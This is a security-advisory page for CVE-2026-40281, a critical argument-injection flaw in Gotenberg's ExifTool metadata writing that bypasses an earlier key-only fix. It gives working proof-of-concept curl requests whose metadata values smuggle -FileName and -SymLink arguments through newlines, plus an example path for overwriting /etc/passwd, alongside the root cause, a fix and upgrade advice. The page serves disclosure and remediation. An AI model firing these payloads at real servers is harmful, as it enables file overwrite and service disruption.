Loading...
Skip to main content

CVE-2026-40281 — Vulnerability in...

CRITICAL

Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix)

Published April 30, 2026Updated June 25, 2026Source: osv

Summary

## Vulnerability Details **CWE**: CWE-20 - Improper Input Validation The metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, "-"+k+"="+str). A newline (\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1. ## Summary The metadata write endpoint in v8.30.1 validates metadata **keys** for control characters (commit 405f106) but leaves metadata **values** unsanitized. go-exiftool's `WriteMetadata` sends each key/value pair to ExifTool's stdin as: ``` fmt.Fprintln(e.stdin, "-"+k+"="+str) ``` A `\n` character in `str` splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of `-FileName`, `-Directory`, `-SymLink`, `-HardLink`, and other dangerous pseudo-tags — the exact tags the key blocklist was designed to prevent. ## Root Cause `pkg/modules/exiftool/exiftool.go` — `WriteMetadata()` function: ```go // KEY validation added in v8.30.1 (commit 405f106) for key := range metadata { if !safeKeyPattern.MatchString(key) { // ← only keys checked return fmt.Errorf(...) } } // VALUE passed through unsanitized: case string: fileMetadata[0].SetString(key, val) // ← val may contain \n ``` go-exiftool (`barasher/go-exiftool`) then writes: ```go fmt.Fprintln(e.stdin, "-"+k+"="+str) // If str = "test\n-FileName=/tmp/inject_proof" // ExifTool receives two lines: // -Title=test // -FileName=/tmp/inject_proof ``` ## Steps to Reproduce ``` 1. Start Gotenberg: docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8 2. Create a test PDF: curl -s -F 'files=@/dev/stdin;filename=index.html;type=text/html' \ -o test.pdf http://localhost:3001/forms/chromium/convert/html \ <<< '<html><body>test</body></html>' 3. Inject -FileName via value newline: curl -s -w "\nHTTP %{http_code}" \ -F 'files=@test.pdf;type=application/pdf' \ -F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \ http://localhost:3001/forms/pdfengines/metadata/write # Returns HTTP 404 (file moved away from temp path) 4. Verify injection inside container: docker exec gotenberg-test ls -la /tmp/inject_proof # -rw-r--r-- 1 root root ... /tmp/inject_proof (PDF moved here) 5. Symlink injection: curl -s -w "\nHTTP %{http_code}" \ -F 'files=@test.pdf;type=application/pdf' \ -F 'metadata={"Title":"test\n-SymLink=/tmp/sym_inject"}' \ http://localhost:3001/forms/pdfengines/metadata/write docker exec gotenberg-test ls -la /tmp/sym_inject # lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf ``` ## Impact An unauthenticated attacker can: 1. **Rename/move** any PDF being processed to an arbitrary path in the container filesystem (running as root by default) 2. **Overwrite** arbitrary files — e.g., `-Directory=/etc/ -FileName=passwd` injects two lines, moving the PDF to `/etc/passwd`, corrupting the system user database 3. **Create symlinks** at arbitrary paths via `-SymLink=`, enabling subsequent read/write primitives 4. **Create hard links** via `-HardLink=`, persisting data beyond temp directory cleanup This is a complete bypass of the key-sanitization fix introduced in v8.30.1 (commit 405f106). The fix validated the wrong side of the `=` sign. ## Proposed Fix Add value sanitization parallel to the existing key check in `WriteMetadata`: ```go for key, value := range metadata { if !safeKeyPattern.MatchString(key) { return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key) } if str, ok := value.(string); ok { if strings.ContainsAny(str, "\n\r\x00") { return fmt.Errorf("write PDF metadata with ExifTool: invalid value for key %q (contains control character)", key) } } } ``` Or, apply the same `safeKeyPattern` logic to string values, or percent-encode newlines before passing to go-exiftool. ### Vulnerable Code ```go // See description for details ``` ## Steps to Reproduce 1. Set up the application using the default configuration 2. See the vulnerability details above ## Impact This vulnerability may allow an attacker to compromise the application.

Advisory Timeline

  • First published April 30, 2026 (165 days ago).
  • Last revised June 25, 2026 — 56 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/gotenberg/gotenberg/v8 to 8.31.0 or later
go get github.com/gotenberg/gotenberg/v8@v8.31.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/gotenberg/gotenberg/v8
go
All versions8.31.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
None
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H

Frequently Asked Questions

What is CVE-2026-40281?
Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix) This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 10.0/10).
How do I check if my project is affected by CVE-2026-40281?
CVE-2026-40281 affects github.com/gotenberg/gotenberg/v8. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-40281 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
10.0

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-q7r4-hc83-hf2q
GO-2026-5572

Related CVEs

  • CVE-2026-42596
    CRITICAL

    Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook

  • CVE-2026-107806
    CRITICAL

    Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite

  • CVE-2026-42589
    CRITICAL

    Gotenberg has Unauthenticated RCE via ExifTool Metadata Key Injection

  • CVE-2026-40280
    HIGH

    Gotenberg has case-insensitive URL scheme that bypasses webhook and downloadFrom deny-list SSRF protection

  • CVE-2026-42595
    HIGH

    Gotenberg: Server-Side Request Forgery via Chromium URL Endpoint with Redirect-Based Deny-List Bypass

  • CVE-2026-44829
    HIGH

    Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename

  • CVE-2026-27018
    HIGH

    Gotenberg has Chromium deny-list bypass via case-insensitive URL scheme (bypass of GHSA-rh2x-ccvw-q7r3)

  • CVE-2026-39383
    MEDIUM

    Gotenberg Vulnerable to Unauthenticated SSRF via Unfiltered Webhook URL

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies